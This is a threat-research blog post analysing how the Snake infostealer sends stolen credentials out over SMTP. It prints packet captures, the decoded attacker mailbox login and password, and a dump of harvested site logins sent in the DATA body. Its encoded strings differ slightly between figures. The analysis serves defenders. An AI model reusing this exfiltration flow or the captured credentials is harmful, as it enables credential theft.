

Snake Infostealer: How Attackers Exfiltrate Data Via SMTP | Aryaka Threat Research

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Data exfiltration via Simple Mail Transfer Protocol (SMTP) is a robust method attackers use to transfer sensitive or confidential information from a compromised system to an external location. SMTP, the standard email communication protocol, is opted by attackers for exfiltration because it operates over commonly allowed ports (e.g., ports 25, 465, or 587). However, despite these dangers it is rarely blocked within corporate environments.

IT security professionals and network administrators must monitor SMTP traffic, as attackers can abuse the protocol by encoding sensitive data into email attachments or body content and sending it to external email accounts under their control. Since SMTP traffic is typically encrypted using protocols like STARTTLS or SMTPS, it can bypass many traditional network monitoring tools that are not configured to inspect encrypted traffic. Furthermore, the legitimate use of email in corporate workflows makes exfiltration via SMTP less suspicious to intrusion detection systems, especially if attackers blend exfiltrated data with legitimate email activity.

The Snake loader and keylogger code [analysis was performed earlier, highlighting its techniques and tactics](#). Today the Aryaka Threat Research Lab is analyzing the SMTP-based data exfiltration mechanism snake keylogger uses before exfiltration.

Attackers often exploit compromised email accounts (via phishing or credential theft) to send emails, making the activity appear legitimate to increase the likelihood of success. Another tactic involves using specially crafted malware to automate data collection, encoding, and exfiltration, often configured to interact directly with an SMTP server. This malware may include mechanisms to periodically check for connectivity or dynamically update email recipient addresses to evade blocklists.

```

119 13.917176 10.9.16.101 208.91.199.223 TCP 54 49887 → 587 [ACK] Seq=1 Ack=1 Win=64240 Len=0
120 18.186007 208.91.199.223 10.9.16.101 SMTP 102 S: 220 us2.outbound.mailhostbox.com ESMTP Postfix
121 18.187337 10.9.16.101 208.91.199.223 SMTP 76 C: EHLO DESKTOP-SKVC2KX
122 18.187675 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=49 Ack=23 Win=64240 Len=0
123 18.302285 208.91.199.223 10.9.16.101 SMTP 263 S: 250-us2.outbound.mailhostbox.com | PIPELINING | SIZE 41648128 | VRFY.
124 18.302934 10.9.16.101 208.91.199.223 SMTP 99 C: AUTH login User: c2VuZGVyQGluaG91c2VwaWNRlMnVvbQ==
125 18.303060 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=258 Ack=68 Win=64240 Len=0
126 18.387577 208.91.199.223 10.9.16.101 SMTP 72 S: 334 UGFzc3dvcmQ6
127 18.388042 10.9.16.101 208.91.199.223 SMTP 72 C: Pass: IyhQJWVPXiNKMA==
128 18.388189 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=276 Ack=86 Win=64240 Len=0
129 18.488699 208.91.199.223 10.9.16.101 SMTP 91 S: 235 2.7.0 Authentication successful
130 18.489109 10.9.16.101 208.91.199.223 SMTP 90 C: MAIL FROM:<sender@inhousepick.com>
131 18.489244 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=313 Ack=122 Win=64240 Len=0
132 18.583158 208.91.199.223 10.9.16.101 SMTP 68 S: 250 2.1.0 Ok
133 18.583669 10.9.16.101 208.91.199.223 SMTP 88 C: RCPT TO:<inlogs@inhousepick.com>
134 18.583846 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=327 Ack=156 Win=64240 Len=0
135 18.693703 208.91.199.223 10.9.16.101 SMTP 68 S: 250 2.1.5 Ok
136 18.694000 10.9.16.101 208.91.199.223 SMTP 60 C: DATA
137 18.694113 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=341 Ack=162 Win=64240 Len=0
138 18.788315 208.91.199.223 10.9.16.101 SMTP 91 S: 354 End data with <CR><LF>.<CR><LF>
139 18.793188 10.9.16.101 208.91.199.223 SMTP 301 C: DATA fragment, 247 bytes
140 18.793308 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=409 Win=64240 Len=0
141 18.793443 10.9.16.101 208.91.199.223 SMTP 1514 C: DATA fragment, 1460 bytes
142 18.793445 10.9.16.101 208.91.199.223 SMTP 1514 C: DATA fragment, 1460 bytes
143 18.793466 10.9.16.101 208.91.199.223 SMTP 1229 C: DATA fragment, 1175 bytes
144 18.793514 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=1869 Win=64240 Len=0
145 18.793549 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=3329 Win=64240 Len=0
146 18.793568 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=4504 Win=64240 Len=0
147 18.793690 10.9.16.101 208.91.199.223 SMTP 1514 C: DATA fragment, 1460 bytes
148 18.793692 10.9.16.101 208.91.199.223 SMTP 983 C: DATA fragment, 929 bytes
149 18.793767 10.9.16.101 208.91.199.223 SMTP 56 C: DATA fragment, 2 bytes
150 18.793773 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=5964 Win=64240 Len=0
151 18.793792 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=6893 Win=64240 Len=0
152 18.793809 208.91.199.223 10.9.16.101 TCP 54 587 → 49887 [ACK] Seq=378 Ack=6895 Win=64240 Len=0
153 18.793945 10.9.16.101 208.91.199.223 SMTP/_ 59 from: sender@inhousepick.com, subject: Pc Name: user1 | / VIP Recovery .

```

Figure 1: SMTP communication triggered from the compromised system running snake infostealer

Let’s dissect it by analyzing the TCP session stream to understand the complete workflow.

- The compromised system running snake infostealer sends the EHLO (Extended HELO) command to identify the client to the server and indicate support for the Extended SMTP (ESMTP) features.
- The **AUTH** command initiates the authentication process between an SMTP client running on the compromised system and the SMTP server. It supports various authentication mechanisms to provide authentication credentials to the SMTP server. It ensures that only authorized systems running snake infostealer can relay emails through the server. The “c2VuZGVyQGluaG91c2VwaWNRlMnVvbQ==” decodes to “sender@inhousepick.com.” The password string “IyhQJWVPXiNKMA==” decodes to “#(P%eO^#J0”. Once the authentication is completed, the remote server successfully validates the connection initiated from the compromised system running snake infostealer. It waits for the next steps. Figure 2 validates this mechanism.

```
220 us2.outbound.mailhostbox.com ESMTP Postfix
EHLO DESKTOP-SKVC2KX
250-us2.outbound.mailhostbox.com
250-PIPELINING
250-SIZE 41648128
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 CHUNKING
AUTH login c2VuZGVyQGluaG91c2VwahNrLmNvbQ==
334 UGFzc3dvcmQ6
IyhQJWVwPXiNKMA==
235 2.7.0 Authentication successful
MAIL FROM:<sender@inhousepick.com>
250 2.1.0 Ok
RCPT TO:<inlogs@inhousepick.com>
250 2.1.5 Ok
DATA
```

Figure 2: SMTP authentication commands exchange

After authentication, the compromised systems send the “MAIL FROM” command, highlighting the email’s sender, “sender@inhousepick.com.” Similarly, the “RCPT TO” command highlights the receiver of the email, which in this case is “inlogs@inhousepick.com.” The “250 OK” response shows the server has accepted the commands. Figure 3 shows how the compromised system uses the “DATA” command to exfiltrate stolen information from the compromised system as shown in figure 3.

```
DATA
354 End data with <CR><LF>.<CR><LF>

MIME-Version: 1.0
From: sender@inhousepick.com
To: inlogs@inhousepick.com
Date: [REDACTED] +0000
Subject: Pc Name: user1 | / VIP Recovery \
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

PW | user1 | VIP Recovery=0D=0A =0D=0A=0D=0A PC Name:DESKTOP-WIN11=
PC=0D=0A Date and Time: 9/16/2024 / 8:08:31 PM=0D=0A Client IP: 173=
..66.46.97=0D=0A=0D=0A Country Name: United States=0D=0A Country Code=
: US=0D=0A Region Name: =0D=0A Region Code: =0D=0A City: =0D=0A Time Z=
one: America/Chicago=0D=0A Latitude: 41.878=0D=0A Longitude: -87.62=
9=0D=0A Stub Version: 4.4=0D=0A=0D=0A=0D=0A ----- / VIP Recovery=
\ -----=0D=0A Recovered From: Outlook=0D=0A URL: mailsvr.krypto=
n.click=0D=0A E-Mail: superman@krypton.click=0D=0A PSWD: P@ssw@rd12=
345678$=0D=0A -----=0D=0A =0D=0A -----=
-- / VIP Recovery \ -----=0D=0A Recovered From: Google Chrome=0D=0A=
Host: https://login.jumbo.com/=0D=0A USR: fitnessfreak=0D=0A PSWD: =
y8/*^w.HA9'53hpB&U+{PF"ard#@jZVu=0D=0A -----=
=0D=0A =0D=0A ----- / VIP Recovery \ -----=0D=0A Recove=
red From: Google Chrome=0D=0A Host: https://accounts.spotify.com/e=
n/login=0D=0A USR: fitnessfreak=0D=0A PSWD: M@':vtYb?/(F$6+c[{5AuX]=
*jg}{+r:v=0D=0A -----=0D=0A =0D=0A -----=
-- / VIP Recovery \ -----=0D=0A Recovered From: Google Chrome=
=0D=0A Host: https://shopaholics.com/login/login=0D=0A USR: superma=
n@krypton.click=0D=0A PSWD: Q7_ZWS|rB&*A@,8!D>wah/4Edt$#s+L-xT=0D=0A=
-----=0D=0A =0D=0A ----- / VIP Reco=
very \ -----=0D=0A Recovered From: Google Chrome=0D=0A Host: htt=
ps://myaccount.chiitos.com/auth/login=0D=0A USR: superman@krypton.=
click=0D=0A PSWD: G;f2@6vZkb=zh8Q#Lq4gYa^~j?=0D=0A -----=
=0D=0A =0D=0A ----- / VIP Recovery \ -----=0D=0A=
Recovered From: Google Chrome=0D=0A Host: https://secure.newegg.co=
m/identity/signin=0D=0A USR: superman@krypton.click=0D=0A PSWD: sAN=
SIMQ*p_Rdn}{>yFYJ<Xj2qLfPt=Ug.HZ&h=0D=0A -----=
=0D=0A =0D=0A ----- / VIP Recovery \ -----=0D=0A Rec=
```

Figure 3: SMTP: Data exfiltration using DATA command

The DATA command signals to the SMTP server that the client can transmit the email content. Once the command is issued and the server responds positively, the client sends the email's headers and body, ending the transmission with a specific delimiter. The SMTP client running on the compromised system installed with snake infostealer sends a "DATA" command, and the remote server responds with a 354 code, indicating that it is ready to receive the message content. Once the data is exfiltrated, the client issues the "QUIT" (See Figure 4) command to truncate the SMTP session. One can notice that sensitive data stolen by the snake infostealer is exfiltrated via the SMTP channel.



Figure 4: SMTP connection closes after successful exfiltration

As you may have noticed, the compromised snake infostealer system did not use STARTTLS to send all commands and message content in unencrypted format over the network, including potentially sensitive email headers, body content, and authentication credentials. The system uses SMTP AUTH to log in to the mail server without STARTTLS, so the username and password are transmitted in plain text.

Since SMTP is widely allowed in corporate environments, this activity might go unnoticed unless monitored closely. By sending data in small chunks or disguising it as legitimate emails, attackers can evade detection by intrusion detection systems (IDS) or data loss prevention (DLP) tools.

How does Unified SASE as a Service help mitigate SMTP breaches?

A [Unified Secure Access Service Edge \(SASE\)](#) framework integrates network security and zero-trust access controls to protect organizations against data exfiltration, including threats that target SMTP traffic. SASE provides centralized visibility and monitoring, allowing security teams to detect anomalies, such as sudden spikes in email activity or connections to untrusted external mail servers.

By applying consistent security policies across all traffic—including email communications—Unified SASE ensures that unauthorized SMTP traffic, malicious attachments, and outbound data leaks are detected and blocked in real time, providing immediate security. SASE’s content inspection capabilities prevent sensitive data from

being exfiltrated via SMTP. It can inspect outbound emails, detect patterns of sensitive information (e.g., credit card numbers, intellectual property, or personal identifiers), and automatically block unauthorized transmissions.

Source: <https://www.aryaka.com/blog/snake-infostealer-smtp-data-exfiltration/>